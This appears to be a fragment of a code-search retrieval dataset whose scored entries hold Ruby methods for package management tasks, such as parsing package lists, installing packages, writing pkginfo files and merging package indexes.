"text": "def getPackagesToUpdate\n packages=Array.new\n @packageList.each do |package|\n # Check if there is an update available\n if system(\"#{@check_update_cmd} \"+package+\">/dev/null 2>&1\")\n incstatus(\"OK\")\n @long+=\"Package #{package} up to date\\n\"\n else\n incstatus(\"WARNING\")\n @short+=\"#{package} needs to be updated,\"\n @long+=\"Package #{package} needs to be updated\\n\"\n packages.push(package)\n end\n end\n puts YAML.dump(packages) if @debug\n packages \n end",
"title": ""
},
{
"docid": "a5a7365af4e613ce90cf3d2f638f29ad",
"score": "0.576395",
"text": "def parse_list(list)\n list = unwrap(list)\n lines = list.split(\"\\n\")\n package_list = []\n lines.each do |line|\n package_info = {}\n next if line =~ Regexp.new(/^(Installed|Updated) Packages$/)\n parts = line.split\n package = parts[0]\n package_info[:name] = package.split('.')[0]\n package_info[:arch] = package.split('.')[1]\n package_info[:version] = parts[1]\n package_info[:repo] = parts[2]\n package_list << package_info\n end\n package_list\n end",
"title": ""
},
{
"docid": "9fd60f412c511b5d687f31f6238b7fac",
"score": "0.57480115",
"text": "def update\n LaPack.get(@package_list, @index)\n end",
"title": ""
},
{
"docid": "ca69f28115a9afcfd0e85c9c7448812f",
"score": "0.57377374",
"text": "def extract_info(package)\n require 'rexml/document'\n build_path(\"expand\").tap do |path|\n doc = REXML::Document.new File.open(File.join(path, \"PackageInfo\"))\n pkginfo_elem = doc.elements[\"pkg-info\"]\n identifier = pkginfo_elem.attribute(\"identifier\").value\n self.version = pkginfo_elem.attribute(\"version\").value\n # set name to the last dot element of the identifier\n self.name = identifier.split(\".\").last\n logger.info(\"inferring name #{self.name} from pkg-id #{identifier}\")\n end\n end",
"title": ""
},
{
"docid": "d83dd2b48515572c2a2624109a43858d",
"score": "0.5732704",
"text": "def packages\n @packages\n end",
"title": ""
},
{
"docid": "2c629f0ce9974960e541c5e6ca2ede60",
"score": "0.57133055",
"text": "def identify_packages\n common_package = common\n @packagedata[:common] = common_package if common_package\n plugin_package = plugin\n @packagedata[@plugintype.to_sym] = plugin_package if plugin_package\n end",
"title": ""
},
{
"docid": "5575699056eb49937279f33860e2cf47",
"score": "0.57123494",
"text": "def merge_package_files(opts={})\n\n # initial settings\n opts[:previous_package_file] ||= previous_package_file\n opts[:new_packages] ||= @opts[:packages].collect{|p| p.to_h}.sort{|a,b| a['Package'] <=> b['Package'] }\n opts[:new_package_file] ||= \"\"\n\n # if we are at the end of both the old package list and the new set of packages then finish\n return opts[:new_package_file] \\\n if opts[:previous_package_file].strip.empty? \\\n and opts[:new_packages].empty? \n\n # if we don't have any new packages to add then return the current list with the old appended\n return (opts[:new_package_file] << opts[:previous_package_file]) \\\n if opts[:new_packages].empty?\n \n # parse next package stub\n stub, stub_end, next_package = parse_package_stub(opts[:previous_package_file])\n\n # if we don't have and more old packages to add then return the\n # current list with the new appended\n return (opts[:new_package_file] << opts[:new_packages].collect{|p| FRM::Package.hash_to_stub(p)}.join(\"\\n\")) if stub.nil?\n\n # compare the next previous existing pacakge to the next new package\n case next_package <=> opts[:new_packages].first['Package']\n when -1 \n opts[:new_package_file] << stub\n opts[:previous_package_file].slice!(0..stub_end)\n when 1\n opts[:new_package_file] << FRM::Package.hash_to_stub(opts[:new_packages].shift) \n when 0\n # both packages have the same name\n STDERR.puts \"I see two version of this pakcage: #{next_package}\"\n previous_version_line = stub[/^Version: .*$/]\n raise \"could not get version from package stub: \\n#{stub}\" if previous_version_line.nil?\n\n previous_version_raw = previous_version_line.sub('Version: ','').strip\n raise \"could not get version from package stub: \\n#{stub}\" if previous_version_raw.empty?\n previous_version = Gem::Version.new(previous_version_raw)\n\n newer_version_raw = opts[:new_packages].first['Version']\n newer_version = Gem::Version.new(newer_version_raw)\n\n raise \"previous version #{previous_version_raw} is equal to #{newer_version_raw}. Exiting...\" \\\n if previous_version == newer_version\n\n raise \"previous version #{previous_version_raw} is newer than #{newer_version_raw}. Exiting...\" \\\n if previous_version > newer_version\n \n opts[:new_package_file] << FRM::Package.hash_to_stub(opts[:new_packages].shift)\n opts[:previous_package_file].slice!(0..stub_end)\n end\n\n return merge_package_files(opts)\n end",
"title": ""
},
{
"docid": "47d3362d94422afe65e0fe4bf1b4be6a",
"score": "0.57104504",
"text": "def cargo_metadata_packages\n @cargo_metadata_packages ||= cargo_metadata[\"packages\"].each_with_object({}) do |package, hsh|\n hsh[package[\"id\"]] = package\n end\n end",
"title": ""
},
{
"docid": "325ecab8ba1a7b4fb0e64f71af3019c9",
"score": "0.5707448",
"text": "def install(pkgs); raise; end",
"title": ""
},
{
"docid": "5deaa79bd96aaac0a7365a5033fa6c09",
"score": "0.5707402",
"text": "def installed_packages()\n\t\t\tend",
"title": ""
},
{
"docid": "d945c2489f79908341ca9fff8403b7ad",
"score": "0.57048887",
"text": "def installs\n install_items.collect(&:package)\n end",
"title": ""
},
{
"docid": "086d820f377d0d5b83aec70f442662df",
"score": "0.57001966",
"text": "def add_to_db(pkgs, update: true, op: :cp, force_sign: false)\n\t\t\tif update\n\t\t\t\tpkgs=PackageFiles.create(pkgs).packages unless pkgs.is_a? PackageList\n\t\t\t\tup=self.packages.check_updates(pkgs)\n\t\t\t\tpkgs=up.select {|_k, u| u[:op]==:upgrade or u[:op]==:install}.map do |_k,v|\n\t\t\t\t\tpkgs[v[:out_pkg]].path\n\t\t\t\tend\n\t\t\telse\n\t\t\t\tpkgs=pkgs.map {|_k,v| v.path } if pkgs.is_a?(PackageList)\n\t\t\tend\n\t\t\tSH.logger.mark \"Updating #{pkgs.map(&:to_s).join(', ')} in #{self}\"\n\t\t\tcp_pkgs=move_to_db(*pkgs, op: op)\n\t\t\tadd(*cp_pkgs, force_sign: force_sign)\n\t\tend",
"title": ""
},
{
"docid": "2638c121458ff51408538ad7158ceaa2",
"score": "0.5688466",
"text": "def packages\n # parse all lines of output to json and find one that is \"type\": \"tree\"\n yarn_info = JSON.parse(\"[#{yarn_info_command.lines.join(\",\")}]\")\n mapped_packages = yarn_info.reduce({}) do |accum, package|\n name, _ = package[\"value\"].rpartition(\"@\")\n version = package.dig(\"children\", \"Version\")\n id = \"#{name}@#{version}\"\n\n accum[name] ||= []\n accum[name] << {\n \"id\" => id,\n \"name\" => name,\n \"version\" => version,\n \"homepage\" => package.dig(\"children\", \"Manifest\", \"Homepage\"),\n \"path\" => dependency_paths[id]\n }\n accum\n end\n\n mapped_packages.each_with_object({}) do |(name, results), hsh|\n results.uniq! { |package| package[\"version\"] }\n if results.size == 1\n # if there is only one package for a name, reference it by name\n hsh[name] = results[0]\n else\n # if there is more than one package for a name, reference each by id\n results.each do |package|\n hsh[package[\"id\"]] = package\n end\n end\n end\n end",
"title": ""
},
{
"docid": "942cc36c613f1b3915ebe8ef17304c56",
"score": "0.5687014",
"text": "def generate_packages(pkg)\n @project.generate_packages = pkg\n end",
"title": ""
},
{
"docid": "3734e7cd57ef70944036a334ff22ad71",
"score": "0.5686746",
"text": "def write_pkginfo_content\n pkginfo_content = <<-EOF.gsub(/^ {8}/, '')\n CLASSES=none\n TZ=PST\n PATH=/sbin:/usr/sbin:/usr/bin:/usr/sadm/install/bin\n BASEDIR=#{install_dirname}\n PKG=#{project.package_name}\n NAME=#{project.package_name}\n ARCH=#{`uname -p`.chomp}\n VERSION=#{pkgmk_version}\n CATEGORY=application\n DESC=#{project.description}\n VENDOR=#{project.maintainer}\n EMAIL=#{project.maintainer}\n PSTAMP=#{`hostname`.chomp + Time.now.utc.iso8601}\n EOF\n File.open '/tmp/pkgmk/pkginfo', 'w+' do |f|\n f.write pkginfo_content\n end\n end",
"title": ""
},
{
"docid": "90914928edb37f860c73ea9f9b3219c2",
"score": "0.56795967",
"text": "def packages\n Deployku::Config.packages + self.class::PACKAGES\n end",
"title": ""
},
{
"docid": "a7d436cb0c05592deb7a2f7343ac4e83",
"score": "0.5658714",
"text": "def add_package (name, options={})\n\t\t\tsoftware_command \"add_package\",{:name => name}.merge(options)\n\t\tend",
"title": ""
},
{
"docid": "33c8e8485dfa967764c4ab6d65366bc4",
"score": "0.56559813",
"text": "def preprocess\n logger.info 'Executing before all commands...'\n @global_commander.before\n\n logger.info 'Preprocessing packages...'\n @packages.each do |p|\n pkg_name = p[0].to_s\n pkg = p[1]\n\n logger.info \"Package: #{pkg_name}\"\n logger.debug \"Package content: #{pkg}\"\n\n # set pkg installation type based on existing key in the package definition\n pkg[:type] = get_package_type pkg\n\n installer = Installer.new(pkg_name, pkg)\n\n case pkg[:type]\n when 'system'\n begin \n installer.preprocess 'system'\n rescue Exception::InvalidPackage, Exception::InvalidPpa => e\n logger.error e.message\n\n pkg[:skip] = true\n pkg[:errors] = Array.new # add array to store errors\n pkg[:errors] << e.message\n end\n when 'git'\n begin\n installer.preprocess 'git'\n rescue Exception::InvalidFolder, Exception::MissingUrl, Exception::InvalidUrl => e\n logger.error e.message\n \n pkg[:skip] = true\n pkg[:errors] = Array.new # add array to store errors\n pkg[:errors] << e.message\n end\n when 'local'\n begin\n installer.preprocess 'local'\n rescue Exception::MissingLocalPackage, Exception::InvalidLocalPackage => e\n logger.error e.message\n \n pkg[:skip] = true\n pkg[:errors] = Array.new # add array to store errors\n pkg[:errors] << e.message\n end\n else\n logger.error \"#{pkg_name} :type is not supported\"\n end\n end\n\n PackageManager.new('remote').update\n end",
"title": ""
},
{
"docid": "4727073baac9e651ea33b9f26e4709b2",
"score": "0.5652608",
"text": "def create_packages(package_metas, release_dir)\n return [] if package_metas.empty?\n\n package_refs = []\n\n event_log_stage = Config.event_log.begin_stage('Creating new packages', package_metas.size)\n\n package_metas.each do |package_meta|\n package_desc = \"#{package_meta['name']}/#{package_meta['version']}\"\n package = nil\n event_log_stage.advance_and_track(package_desc) do\n logger.info(\"Creating new package '#{package_desc}'\")\n package = create_package(package_meta, release_dir)\n register_package(package)\n end\n\n next unless @compiled_release\n\n package_refs << {\n package: package,\n package_meta: package_meta,\n }\n end\n\n package_refs\n end",
"title": ""
},
{
"docid": "19ee8d393a06cbca8fbd7fc0fab6d3fa",
"score": "0.56450665",
"text": "def create_package\n begin\n package = Package.new()\n @package_id = package.create(prepare_packages_data)\n rescue\n puts \"Oops! Something went wrong while importing Packages\"\n end\n end",
"title": ""
},
{
"docid": "e48f1cfacf2f8e885f7191e4e9de18e0",
"score": "0.56445295",
"text": "def packages\n @packages ||= FileSyncer.glob(@pattern).map { |path| Package.new(path) }\n end",
"title": ""
},
{
"docid": "90855d3eaa05aee0e821e7bc87317ef8",
"score": "0.5637089",
"text": "def add_package(id, options = {})\n packages[id] = options\n if is_a?(Pin)\n add_location(options[:location], package: id) if options[:location]\n end\n end",
"title": ""
},
{
"docid": "98e9aa260918a768ec7cc3b35984f02d",
"score": "0.5624449",
"text": "def add_package(package)\n return false unless package.respond_to?(:unwrap)\n package.unwrap.each do |item|\n add_system(item) if item.kind_of?(Peregrine::System)\n add_entity(item) if item.kind_of?(Peregrine::Entity)\n end\n true\n end",
"title": ""
},
{
"docid": "28ae0cd256659efc714f62207e632be0",
"score": "0.5623265",
"text": "def packages()\n\t\t\t\tpackages = PackageList.new()\n\n\t\t\t\tlist = `#{@dpkgbin} -l`\n\t\t\t\tregex = /^ii\\s+(\\S+)\\s+(\\S+)/\n\t\t\t\tlist.each { | s |\n\t\t\t\t\tmatch = regex.match(s)\n\t\t\t\t\tif(match != nil)\n\t\t\t\t\t\tpackages[match[1]]= PackageInfo.new()\n\t\t\t\t\t\tpackages[match[1]].name = match[1]\n\t\t\t\t\t\tpackages[match[1]].version = match[2]\n\t\t\t\t\tend\n\t\t\t\t}\n\n\t\t\t\treturn(packages)\n\t\t\tend",
"title": ""
},
{
"docid": "9ba867343537a95912c1b17e716bf83e",
"score": "0.5612596",
"text": "def packages\n data[:packages]\n end",
"title": ""
},
{
"docid": "ccd0b0425fc5fc0e3ad522a47bb09062",
"score": "0.5606706",
"text": "def set_package_data(apk_info, package_data)\n parts = package_data.split\n apk_info.package_name = parts[1].split(\"'\")[1] if parts.length > 1\n apk_info.version_code = parts[2].split(\"'\")[1].to_i if parts.length > 2\n apk_info.version_name = parts[3].split(\"'\")[1] if parts.length > 3\n end",
"title": ""
},
{
"docid": "36a9829969ef2cac902ae38b7d2ebfdc",
"score": "0.560483",
"text": "def install_packages\n return(self.interpreter.package_manager.install <<-HERE)\n # PostgreSQL\n postgresql-#{self.postgresql_version}\n postgresql-client-#{self.postgresql_version}\n postgresql-server-dev-#{self.postgresql_version}\n libpq-dev\n\n # Ruby libraries\n libdbd-pg-ruby1.8\n libdbd-pg-ruby\n\n # Helpers\n oidentd\n HERE\n end",
"title": ""
},
{
"docid": "8c805db7eb6b2d669ea4ac67eb2a9efc",
"score": "0.56009775",
"text": "def write_pkginfo_file\n hostname = Socket.gethostname\n\n # http://docs.oracle.com/cd/E19683-01/816-0219/6m6njqbat/index.html\n pkginfo_content = <<-EOF.gsub(/^ {8}/, \"\")\n CLASSES=none\n TZ=PST\n PATH=/sbin:/usr/sbin:/usr/bin:/usr/sadm/install/bin\n BASEDIR=#{install_dirname}\n PKG=#{project.package_name}\n NAME=#{project.package_name}\n ARCH=#{safe_architecture}\n VERSION=#{pkgmk_version}\n CATEGORY=application\n DESC=#{project.description}\n VENDOR=#{project.maintainer}\n EMAIL=#{project.maintainer}\n PSTAMP=#{hostname}#{Time.now.utc.iso8601}\n EOF\n File.open staging_dir_path(\"pkginfo\"), \"w+\" do |f|\n f.write pkginfo_content\n end\n end",
"title": ""
},
{
"docid": "46d298d5a2d8783af84f775081469a09",
"score": "0.55916524",
"text": "def extra_package_file(val)\n extra_package_files << val\n extra_package_files.dup\n end",
"title": ""
},
{
"docid": "e037641501b00219c8a83af9aa321f18",
"score": "0.55900735",
"text": "def install(*packages)\n puts \"Dummy implementation. Should install: #{packages.join(\",\")}\"\n end",
"title": ""
},
{
"docid": "007707a775d7392e63968b2004726358",
"score": "0.5586925",
"text": "def installed_packages\n output = current_shell.exec 'yum list'\n\n output.each_line.map do |line|\n /^(?<name>\\S+)\\.(?<arch>\\S+)\\s+(?<version>\\S+)\\s+(?<status>\\S*)/ =~ line\n next unless name\n\n Rosh::PackageManager::Package.new(name, @host_name)\n end\n end",
"title": ""
},
{
"docid": "8251edc9373f71b5e89bc48ab3a278e0",
"score": "0.5584913",
"text": "def updatePackages(html_way)\n #Get current packages on the repository\n current_info = getPackages()\n \n names = []\n versions = []\n current_info.each do |line|\n line.match(/(.*)_(.*).tar.gz/)\n names << $1\n versions << $2\n end\n hash_current = Hash[names.map.with_index{|*ki| ki}]\n \n # Update the given number of packages\n names.each do |i|\n if pack = Package.find_by_name(i) then\n if !pack.info_harvested then\n updatePackageInfo(pack, html_way)\n pack.update_attributes(info_harvested: TRUE)\n UPDATE_PACKAGE_LOG.info(\"Initial info-gathering for package \" + pack.name + \". Html way: \" + html_way.to_s)\n elsif pack.version != versions[hash_current[pack.name]]\n updatePackageInfo(pack, html_way)\n UPDATE_PACKAGE_LOG.info(\"Update of \" + pack.name + \" due to newer version on CRAN. Html way: \" + html_way.to_s)\n else\n UPDATE_PACKAGE_LOG.info(\"No reason to update \" + pack.name)\n end\n else\n Package.new(name: names[hash_current[i]], version: versions[hash_current[i]], archive_name: current_info[hash_current[i]].to_s).save\n end\n end\n end",
"title": ""
},
{
"docid": "13424754fc5005543af8bfe9c65dcb16",
"score": "0.5570619",
"text": "def use_existing_packages(packages, release_dir)\n return [] if packages.empty?\n\n package_refs = []\n\n single_step_stage(\"Processing #{packages.size} existing package#{'s' if packages.size > 1}\") do\n packages.each do |package, package_meta|\n package_desc = \"#{package.name}/#{package.version}\"\n logger.info(\"Using existing package '#{package_desc}'\")\n register_package(package)\n\n if compiled_release\n package_refs << {\n package: package,\n package_meta: package_meta,\n }\n end\n\n if source_release && (package.blobstore_id.nil? || @fix)\n save_package_source_blob(package, package_meta, release_dir)\n package.save\n end\n end\n end\n\n package_refs\n end",
"title": ""
},
{
"docid": "d346a8e13092204c95d8a22e01903871",
"score": "0.5569327",
"text": "def installed_packages(pkgname=nil)\n instpkgs = []\n metadata_for_installed_packages.each do |metadata|\n if !pkgname || metadata[:name] == pkgname\n instpkgs << { :metadata => metadata,\n :source => :currently_installed,\n # It seems reasonable for this to default to true\n :prefer => true }\n end\n end\n instpkgs\n end",
"title": ""
},
{
"docid": "d665b82866f054d6afe0feb3f67bb88e",
"score": "0.5562141",
"text": "def process_packages(release_dir)\n new_packages, existing_packages, registered_packages = PackageProcessor.process(\n @release_version_model,\n @release_model,\n @name,\n @version,\n manifest_packages,\n logger,\n @fix,\n )\n\n PackagePersister.persist(\n new_packages: new_packages,\n existing_packages: existing_packages,\n registered_packages: registered_packages,\n compiled_release: @compiled_release,\n release_dir: release_dir,\n fix: @fix,\n manifest: @manifest,\n release_version_model: @release_version_model,\n release_model: @release_model,\n )\n end",
"title": ""
},
{
"docid": "af2782ea581b292c49806c94686472a7",
"score": "0.5559875",
"text": "def packages\n packages = {}\n\n services.values.each do |service|\n namespace = 'SpotifyWeb::Schema'\n if match = service[:content].match(/package spotify\\.(.+)\\.proto;/)\n name = match[1]\n namespace << '::' + name.split('.').map {|part| part.capitalize} * '::'\n else\n name = 'core'\n end\n\n if package = packages[name]\n # Package already exists: just append the message definitions\n content = service[:content]\n content = content[content.index('message')..-1]\n package[:content] += \"\\n#{content}\"\n else\n # Create a new package with the entire definition\n packages[name] = {:name => name, :namespace => namespace, :content => service[:content]}\n end\n end\n\n packages\n end",
"title": ""
},
{
"docid": "b1d6b99155d38051351cc2552ee43073",
"score": "0.5559555",
"text": "def ComputeSystemPackageList\n install_list = architecturePackages\n\n install_list = Convert.convert(\n Builtins.union(install_list, modePackages),\n :from => \"list\",\n :to => \"list <string>\"\n )\n\n # No longer needed - partitions_proposal uses PackagesProposal now\n # to gather the list of pkgs needed by y2-storage (#433001)\n #list<string> storage_packages = (list<string>)WFM::call(\"wrapper_storage\", [\"AddPackageList\"]);\n\n if Ops.greater_than(Builtins.size(@additional_packages), 0)\n Builtins.y2warning(\n \"Additional packages are still in use, please, change it to use PackagesProposal API\"\n )\n Builtins.y2milestone(\"Additional packages: %1\", @additional_packages)\n install_list = Convert.convert(\n Builtins.union(install_list, @additional_packages),\n :from => \"list\",\n :to => \"list <string>\"\n )\n end\n\n # bnc #431580\n # New API for packages selected by other modules\n packages_proposal_all_packages = PackagesProposal.GetAllResolvables(\n :package\n )\n if Ops.greater_than(Builtins.size(packages_proposal_all_packages), 0)\n Builtins.y2milestone(\n \"PackagesProposal::GetAllResolvables returned: %1\",\n packages_proposal_all_packages\n )\n install_list = Convert.convert(\n Builtins.union(install_list, packages_proposal_all_packages),\n :from => \"list\",\n :to => \"list <string>\"\n )\n else\n Builtins.y2milestone(\"No packages required by PackagesProposal\")\n end\n\n # Kernel is added in autoinstPackages () if autoinst is enabled\n if !Mode.update || !Mode.autoinst\n kernel_pkgs = Kernel.ComputePackages\n kernel_pkgs_additional = ComputeAdditionalKernelPackages()\n install_list = Convert.convert(\n Builtins.union(install_list, kernel_pkgs),\n :from => \"list\",\n :to => \"list <string>\"\n )\n if Ops.greater_than(Builtins.size(kernel_pkgs_additional), 0) &&\n kernel_pkgs_additional != nil\n install_list = Convert.convert(\n Builtins.union(install_list, kernel_pkgs_additional),\n :from => \"list\",\n :to => \"list <string>\"\n )\n end\n end\n\n if Pkg.IsSelected(\"xorg-x11-Xvnc\") && Linuxrc.vnc\n install_list = Convert.convert(\n Builtins.union(install_list, graphicPackages),\n :from => \"list\",\n :to => \"list <string>\"\n )\n else\n Builtins.y2milestone(\"Not selecting graphic packages\")\n end\n\n if Pkg.IsSelected(\"java\")\n install_list = Convert.convert(\n Builtins.union(install_list, javaPackages),\n :from => \"list\",\n :to => \"list <string>\"\n )\n else\n Builtins.y2milestone(\"Not selecting java packages\")\n end\n\n install_list = Convert.convert(\n Builtins.union(install_list, kernelCmdLinePackages),\n :from => \"list\",\n :to => \"list <string>\"\n )\n\n install_list = Convert.convert(\n Builtins.union(install_list, boardPackages),\n :from => \"list\",\n :to => \"list <string>\"\n )\n\n # add packages required to access the repository in the 2nd stage and at run-time\n install_list = Convert.convert(\n Builtins.union(install_list, sourceAccessPackages),\n :from => \"list\",\n :to => \"list <string>\"\n )\n\n # and the most flexible enhancement for other products\n # NOTE: not really flexible, because it requires the client\n # in the instsys, instead use <kernel-packages> in the control file.\n if ProductFeatures.GetFeature(\"software\", \"packages_transmogrify\") != \"\"\n tmp_list = Convert.convert(\n WFM.CallFunction(\n ProductFeatures.GetStringFeature(\n \"software\",\n \"packages_transmogrify\"\n ),\n [install_list]\n ),\n :from => \"any\",\n :to => \"list <string>\"\n )\n\n # Make sure we did not get a nil from calling the client, i.e.\n # if the client does not exist at all..\n install_list = deep_copy(tmp_list) if tmp_list != nil\n end\n\n packages = Convert.convert(\n ProductFeatures.GetFeature(\"software\", \"packages\"),\n :from => \"any\",\n :to => \"list <string>\"\n )\n if Ops.greater_than(Builtins.size(packages), 0) && packages != nil\n Builtins.y2milestone(\"Adding packages from control file: %1\", packages)\n install_list = Convert.convert(\n Builtins.union(install_list, packages),\n :from => \"list\",\n :to => \"list <string>\"\n )\n end\n\n install_list = Builtins.toset(install_list)\n Builtins.y2milestone(\"auto-adding packages: %1\", install_list)\n deep_copy(install_list)\n end",
"title": ""
},
{
"docid": "55c340e3ad1af93d786e50267c062401",
"score": "0.5550161",
"text": "def install_system_packages\n dev_package_overrides = system_dev_package_overrides\n poise_languages_system options['package_name'] || system_package_name do\n # Otherwise use the default install action.\n action(:upgrade) if options['package_upgrade']\n parent new_resource\n # Don't pass true because we want the default computed behavior for that.\n dev_package options['dev_package'] unless options['dev_package'] == true\n dev_package_overrides dev_package_overrides\n package_version options['package_version'] if options['package_version']\n version options['version']\n end\n end",
"title": ""
},
{
"docid": "66e8236f457398fce0074b235c1eed7d",
"score": "0.55484825",
"text": "def package(pkg)\n @pkg = pkg\n end",
"title": ""
},
{
"docid": "0dd91e4f1465a1d17789960fd1a96114",
"score": "0.5548254",
"text": "def debug_packages(packages)\n packages.map { |x| x + debug_ext }\nend",
"title": ""
},
{
"docid": "6940449d3e01c5eb79bb33bb73e104b8",
"score": "0.55409425",
"text": "def add(hash, package)\n info = extract_fields(package)\n info.merge!(generate_checksums(package))\n filenames = inject_package(hash, info, package)\n filenames\n end",
"title": ""
},
{
"docid": "809868e7f78358a23a2c7e1262ca5a7a",
"score": "0.5534707",
"text": "def packages\n data.packages\n end",
"title": ""
},
{
"docid": "ec98d9e39006c2f0b9a4383c88fc12e2",
"score": "0.55228394",
"text": "def append_package_branch_installs(pbs)\n pbs.map {|pb| self.append_package_branch_install(pb) }\n end",
"title": ""
},
{
"docid": "39b381170ad48865de5b0c9f170cef0b",
"score": "0.55194557",
"text": "def create_package\n send_meta_file(\"#{obs_package_name}-meta\", operation: :pkg)\n end",
"title": ""
},
{
"docid": "da3b6795b3d2286522d9cbec2e7be694",
"score": "0.5512735",
"text": "def install(*args)\n\t\t\t\tsuper do |pkgs,o|\n\t\t\t\t\t\"#{@packager} install #{o} #{pkgs}\"\n\t\t\t\tend\n\t\t\tend",
"title": ""
},
{
"docid": "b583265b66275a457169ec9a4485728c",
"score": "0.55074817",
"text": "def addpkg(options={}, mappings=nil)\n default_options = { :featurelist => 'default',\n :ip => 0,\n :cgi => 1,\n :frontpage => 0,\n :cpmod => 'x3',\n :hasshell => 0 }\n all_options = default_options.merge!(options)\n do_request 'addpkg', all_options, mappings\n end",
"title": ""
},
{
"docid": "6fb878d2874976df615d4be6a72ae427",
"score": "0.5502008",
"text": "def default_packages\n metapackage.each_package\n end",
"title": ""
},
{
"docid": "3dd02ea90d830a0ef681fab5f7bcf3c4",
"score": "0.55015594",
"text": "def update_from_cran\n\n # get packages overview from cran & split the content into single packages\n cran_packages = open('http://cran.r-project.org/src/contrib/PACKAGES') {|f| f.read }.split(\"\\n\\n\")\n\n # for every package \n cran_packages.each do |cran_pck|\n \n next if cran_pck.empty? # fallback if empty element occurs\n\n # hashed sanitizes the package into a hash - it is found in the lib/toolkit file\n elements = hashed(cran_pck)\n\n # check if package already exists with version\n pck = Package.find_by_name(elements[:package])\n\n if pck.nil? # cran package not yet in db\n newPck = create_package(elements) # creates a new record \n newPck.delay.update_details # asynchronously update details / \"rake jobs:work\" should be running \n\n elsif !pck.versions.include?(elements[:version]) # if version is not yet in db for this package\n pck.add_to_array(elements[:version]) # add version to package\n pck.delay.update_details # check for updated information \n end\n end\n end",
"title": ""
},
{
"docid": "0fb1d08d9235ef068f9a15e59e5680cb",
"score": "0.55000067",
"text": "def create_package_version\n Package.transaction do\n @package_version = PackageVersion.new(version: self.version,\n description: package_description['Description'],\n date_of_publication: package_description['Date/Publication'].to_date)\n @package_version.package = package\n @package_version.maintainers << package_maintainers\n @package_version.authors << package_authors\n @package_version.save\n end\n end",
"title": ""
},
{
"docid": "4a2645a0d39e9d5cb1d0fc01dad200ed",
"score": "0.54919654",
"text": "def add_pkg_to_fs(package=@pkg)\n FileUtils.mkpath(package['install_path'])\n source = package['pkg_source_path']\n basename = Pathname.new(package['pkg_source_path']).basename\n dest = package['install_path']\n FileUtils.mv(source, \"#{dest}/#{basename}\")\n package['pkg_source_path'] = \"#{dest}/#{basename}\"\n extract(package)\n end",
"title": ""
},
{
"docid": "9997b1b764585ab6d9d15c50ce5c34c0",
"score": "0.54911214",
"text": "def show_pkg_info(package)\n\tdependencies = []\n \topt = []\n\taur_deps = []\n\tname, version, release, description = \"\"\n\tputs\n\tputs \"Package that will be installed\".yellow\n\tputs \"==============================\".yellow\n\n\t# Get basic information about the package from the PKGBUILD file\n\tFile.readlines(\"/tmp/umbra/#{package}/.SRCINFO\").each {\n\t\t|line| case line.split(\"=\")[0].delete_prefix(\"\\t\").strip\n\t\twhen \"pkgbase\"\n\t\t\tname = line.split(\"=\")[1].strip\n\t\twhen \"pkgver\"\n\t\t\tversion = line.split(\"=\")[1].strip\n\t\twhen \"pkgrel\"\n\t\t\trelease = line.split(\"=\")[1].strip\n\t\twhen \"pkgdesc\"\n\t\t\tdescription = line.split(\"=\")[1]\n\t\twhen \"depends\"\n\t\t\tdependencies << line.split(\"=\")[1].strip.split(\" \")[0].split(\"<\")[0].split(\">\")[0].split(\">\")[0]\n\t\twhen \"optdepends\"\n\t\t\topt << line.split(\"=\")[1].strip\n\t\tend\n\t}\n\n\t# Show dependencies\n\tputs \"Name: #{name}\"\n\tputs \"Version: #{version}\"\n\tputs \"Release: #{release}\"\n\tputs \"Description: #{description}\"\n\tif dependencies.length > 1\n\t\tputs\n\t\tputs \"Dependencies\".yellow\n\t\tputs \"============\".yellow\n\t\ti = 0\n\t\twhile i < dependencies.length\n\t\t\tprint \"#{dependencies[i]} \"\n\t\t\t# Check what packages are available in the AUR\n\t\t\tcode=%x(curl -Is #{AUR_url}packages/#{dependencies[i].split(\" \")[0].split(\"<\")[0].split(\">\")[0].split(\">\")[0]} | head -1 | cut -d\" \" -f2).chomp\n\t\t\tif code != \"404\"\n\t\t\t\tputs \"(Will be installed from the AUR)\"\n\t\t\t\taur_deps << dependencies[i].split(\" \")[0]\n\t\t\telse\n\t\t\t\tputs\n\t\t\tend\n\t\t\ti += 1\n\t\tend\n\tend\n\n\t# Show optional dependencies\n\tif opt.length > 1\n\t\tputs\n\t\tputs \"Optional dependencies\".yellow\n\t\tputs \"=====================\".yellow\n\t\ti = 0\n\t\twhile i < opt.length\n\t\t\tputs \"#{opt[i]}\"\n\t\t\ti += 1\n\t\tend\n\tend\n\tputs\n\n\t# Start installing the dependencies that are from the AUR\n\twhile aur_deps.length > 0\n\t\tprint \">> \".magenta\n\t\tputs \"Installing dependencies that are only available in the AUR\"\n\t\tpkg_install(aur_deps[0])\n\t\taur_deps.delete_at(0)\n\tend\nend",
"title": ""
},
{
"docid": "fdcf1fc0771b2a67a0375505d048f7ce",
"score": "0.54889655",
"text": "def package=(value)\n @package = value\n end",
"title": ""
},
{
"docid": "fdcf1fc0771b2a67a0375505d048f7ce",
"score": "0.54889655",
"text": "def package=(value)\n @package = value\n end",
"title": ""
},
{
"docid": "6933e76645c814f9a207bee53be020b1",
"score": "0.54799604",
"text": "def apply_output( package )\n output_hooks.each{|h| h.call(self, package) }\n package.name = name\n package.version = version\n package.iteration = iteration\n package.maintainer = maintainer if maintainer\n package.vendor = vendor if vendor\n scripts.each do |type, scripts|\n package.scripts[type] = scripts.join(\"\\n\") if scripts.any?\n end\n [:dependencies, :conflicts, :replaces, :provides].each do |sym|\n send(sym).each do |name, options|\n constr = Array(options[:constraints])\n if constr.any?\n constr.each do | c |\n package.send(sym) << \"#{name} #{c}\"\n end\n else\n package.send(sym) << name\n end\n end\n end\n return package\n end",
"title": ""
},
{
"docid": "7cb2feef13bd8b61f79462152aaa65b5",
"score": "0.54793984",
"text": "def replace_package_in_manifest(manifest, ident)\n pkg_key = \"#{ident['origin']}/#{ident['name']}/\"\n pkg_ident = \"#{ident['origin']}/#{ident['name']}/#{ident['version']}/#{ident['release']}\"\n manifest['packages'].delete_if do |pkg|\n pkg.start_with?(pkg_key)\n end\n manifest['packages'] << pkg_ident\nend",
"title": ""
}
] |
c15c60ce0a443455933287c9c360a966
|
Output should be the same.
|
[
{
"docid": "2771530773fa1efedfb762cc5fe7fe2a",
"score": "0.0",
"text": "def add_three(number)\n return number + 3\n number + 4\nend",
"title": ""
}
] |
[
{
"docid": "784c435f8fc805781a2152d0f854d335",
"score": "0.6583353",
"text": "def identical?; end",
"title": ""
},
{
"docid": "784c435f8fc805781a2152d0f854d335",
"score": "0.6583353",
"text": "def identical?; end",
"title": ""
},
{
"docid": "2a62c53b07faa8b9613c4f26eaee32c5",
"score": "0.6253481",
"text": "def outputs; end",
"title": ""
},
{
